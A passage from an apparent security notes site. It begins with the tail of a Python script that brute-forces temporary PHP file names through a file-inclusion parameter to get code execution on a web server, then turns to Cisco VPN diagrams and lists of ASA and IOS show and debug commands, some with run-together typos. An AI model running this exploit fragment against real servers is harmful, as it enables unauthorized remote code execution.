for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = 'http://target.com/index.php?c=/tmp/php' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] We have got a shell: ' + url)
        sys.exit(0)

print('[x] Something went wrong, please try again')

```


# Network Security

Fun Network Security Stuff&#x20;


# DMVPN GRE NHRP IPsec Profiles

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FRnZoEBQtrxCEol0KbC15%2Fimage.png?alt=media\&token=9f74b40e-b076-4ffe-a641-5478e736c155)


# Flex VPNs

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2F8CsFdAN34PWPr6X3tSJF%2Fimage.png?alt=media\&token=33af261c-8734-427d-b288-2bc1363b8ba4)


# GET VPN with Key Server

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FaTuZ6bEntEpvMl940RwX%2Fimage.png?alt=media\&token=8e388c98-8743-4aba-ac67-55b418d1302f)


# IKE Site to Site w/ IPSec

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FGPVqdCgdivxAac2fHqcr%2Fimage.png?alt=media\&token=b38c9f9a-757c-4061-aefa-501a618071a4)


# Point to Point GRE over IPSec

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FPUg7uER3mi7pOdDs8xfZ%2Fimage.png?alt=media\&token=7ea1ca97-f223-41e8-8ee4-89455f2cdcce)


# Remote Access VPN

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FuUhEiwmIpBegGHcYZRvf%2Fimage.png?alt=media\&token=a074802e-a37e-4b26-8be2-fce30171e493)


# Helpful Cisco Firewall CLI Commands

## Show Commands for ASA/FTD commands for IPsec VPN

```
show crypto ipsec stats
show vpn-sessiondb license-summary
show Version
show run crypto map
more system:running-config
show run crypto ikev2
show crypto isakmp sa 
show vpn-sessiondb anyconnect
show vpn-sessiondb detail l2l
```

## IKE S2S w/ IPsec show commands

```
show crypto isakmp policy
show crypto engine connections active
show crypto isakmp keys
show crypto map
show crypto isakmp sa
debug crypto isakmp
debug crypto ipsec
```

## DMVPN Show commands

```
show dmvpn
show ip nhrp
show crypto engine conenctions active
show ip route
show crypto mapshow ip cef [network]
show crypto ipsec sashow crypto isakmp sa
```

## Flex VPN

```
show crypto ikev2 proposal
show crypto ikev2 sashow crypto ipsec transform-set
show crypto ipsec profile
show crypto ipsec sa 
show crypto map
```

## GET VPN w/ Key Server

```
show crypto gdoi
show crypto gdoi ks
show crypto isakmp sa detail
show crypto ipsec sa
```

## Remote Access VPNs

```
show crypto pki cert
show ip int bri
show ip route
show crypto ikev2 sa
show vpn-sessiondb remote
```


